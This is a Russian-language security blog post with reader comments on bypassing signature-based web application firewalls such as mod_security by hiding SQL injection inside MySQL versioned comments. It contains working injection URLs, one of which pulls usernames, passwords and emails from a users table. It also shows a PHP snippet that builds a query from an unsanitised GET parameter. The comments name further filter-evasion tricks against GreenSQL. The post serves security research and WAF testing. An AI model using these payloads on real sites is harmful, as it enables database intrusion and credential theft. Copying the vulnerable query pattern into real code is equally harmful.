Еще один красивый способ эксплуатации SQL Injection в обход WAF

Метод, который попал мне сегодня на глаза в документации MySQL, поражает своей простотой и тем, что я не замечал его раньше. Раскопанный способ по обходу WAF заключается в следующем. Сервер MySQL позволяет использовать комментарии вида:

/*!sql-code*/ и /*!12345sql-code*/

Как можно догадаться, и в том, и в другом случае sql-code будет выполнен из комментария! Во втором случае конструкция означает, что нужно выполнить "sql-code", если версия СУБД больше этого цифрового значения.


Как я уже неоднократно утверждал [1,2], некоторыми WAF’ами комментарии в процессе сигнатурного поиска игнорируются. К таким WAF, в том числе относиться и mod_security последней стабильной сборки (v. 2.5.9).

Простой пример:

...
$query = "SELECT name FROM table where id = ".$_GET[id];

$result = mysql_query($query);
...

Если Web-приложение защищено Mod_Security, то такой запрос не пройдет:

/?id=1+union+select+1

Примечательно, что даже такие (некорректные в данном примере) запросы блокируются WAF (техники HPP/HPF):

/?id=1+union/*&id=*/select+table_name+from+information_schema.columns

/?id=1+union/*&blabla1=*/select+table_name&blabla2=from+information_schema.columns


А вот воспользовавшись методом с комментариями, можно эксплуатировать SQL Injection, абсолютно прозрачно для фильтров Mod_Security:

/?id=1/*!limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/

/?id=1/*!12345limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns*/

/?id=1/*!limit+0+union+select+concat_ws(0x3a,username,password,email)+from+users*/

Собственно, метод в копилку :-)

14 комментариев :

  1. Эм...
    http://www.securiteam.com/securityreviews/5KP0N1PC1W.html
    Вот ;)
    А еще в dsec опять Оракл поломал.

    ОтветитьУдалить
  2. Да, староватый метод. Я его использовал для определения версии Mysql в блайндах.

    ОтветитьУдалить
  3. Ну с сигнатурными WAF все понятно давно, насиловать труп можно бесконечно, но с учетом гибкости SQL-языка толку в этом чуть.
    А вот есть ли адекватные WAF, исповедующие другие принципы? Вплоть до наличия своего маленького SQL-интерпретатора и выполнения запроса с анализом того, к каким таблицам и откуда обращения. Ну или что-то в этом роде.

    ОтветитьУдалить
  4. Я тоже такой вопрос задавал, в ключе обхода XSS (фильтрации JavaScript). В итоге не нашел ни одного со своим JS интерпретатором.

    А WAF основанные на поведенческом анализе я встречал. За основу берется нормальное поведение, скажем, в скрипте С чтение из таблицы А - нормально, если происходит чтение из таблицы Б, это считает аномальным.

    ОтветитьУдалить
  5. Кстати, довольно известный метод.

    ОтветитьУдалить
  6. даа, забавно. =) Про быстрое определение версии по комментариям конечно я помню, но в таком ключе не обдумывал эту фичу..

    ОтветитьУдалить
  7. 2d0znpp: и что, это были адекватные WAF или лабораторные эксперименты?

    ОтветитьУдалить
  8. Ну а если скрипт для авторизации каждый раз, в любом скрипте читает из таблицы users, то это при таком подходе - нормальное поведение. Т.е. любая инъекция заточеная под получение пароля админа подозрения не вызовет. Спрашивается, ну и какой особый смысл в таком подходе, для общего случая? Чисто как примочка и всё.
    Даже если просто определять числовые параметры передаваемые в скрипт и паниковать, когда через них проходит строка - смысла будет больше.

    ОтветитьУдалить
  9. По поводу "своего маленького SQL-интерпретатора" - тут стоит напомнить о GreenSQL. Если вкратце, то GreenSQL пытается анализировать поступащюий запрос и далее решает - пропускать его или нет.
    Однако, мне не кажется это вполне надёжным решением, т.к. когда я тестировал его, то запрос, где содержится mysql.user он не пропускал, а вот `mysql`.`user` ему уже оказался не по силам. И это не единственная такая неадекватность, UNI/**/ON он тоже не замечал.
    Наверное, полноценно оценить риски можно только после самих последствий.

    ОтветитьУдалить
  10. to d0znpp:
    Так я и не говорил, что метод новый... просто, про него как-то все позабыли. Кстати, спасибо за ссылку!

    >> А WAF основанные на поведенческом анализе я встречал.
    Есть тут очень много нюансов. Смотри, а если, например, есть 100-200 (>1000 и т.д.) запросов, которые выполняются очень редко, но они выполняются в легитимной логике работы приложения. Что тогда в этом случае делать администратору, для которого приложение – это черный ящик? При поведенческом подходе, администратору придется использовать «белые списки» т.е. это администратору приложения нужно будет постоянно пополнять свои списки. А оно ему надо?
    кстати, приведи пример поведенческих waf...

    to toxa:
    >> А вот есть ли адекватные WAF, исповедующие другие принципы?
    мне такие не встречались. Сейчас вот все ждем IBM Proventia IPS с функциями WAF. Может быть там содержится подобный функционал. А пока в IBM совещаются на тему, а стоит ли в Позитив давать свою железку:)))

    to Тимур:
    вот я и говорю, что вылетел как-то метод в этом ключе. Странно, что mod_security лажается на нем...

    ОтветитьУдалить
  11. Про "positive security" и прочее колдунство.

    Imperva совершенно волшебные вещи постулирует вплоть до автоматической корреляции запросов разных протоколов в трехзвенке (например, WEB и SQL), выделения ролей на их основе, закрепления и фильтрации на их основе.

    Будет время, пошаманим.

    ОтветитьУдалить
  12. старенький способ, америку не открыл, но все равно спасибо ;)

    ОтветитьУдалить
  13. @all по поводу "сигнатурных WAF"
    Imperva WebSphere самообучается и работает в режиме WAF очень продуктивно. Смотрел презентацию на Infosecurity 2009 по этой софтине на стенде ИЗ - реально впечатляет. Правда в бою скорей всего всё куда более уныло.

    ОтветитьУдалить
  14. to Touzoku:

    >> Правда в бою скорей всего всё куда более уныло.

    вот вот:)

    ОтветитьУдалить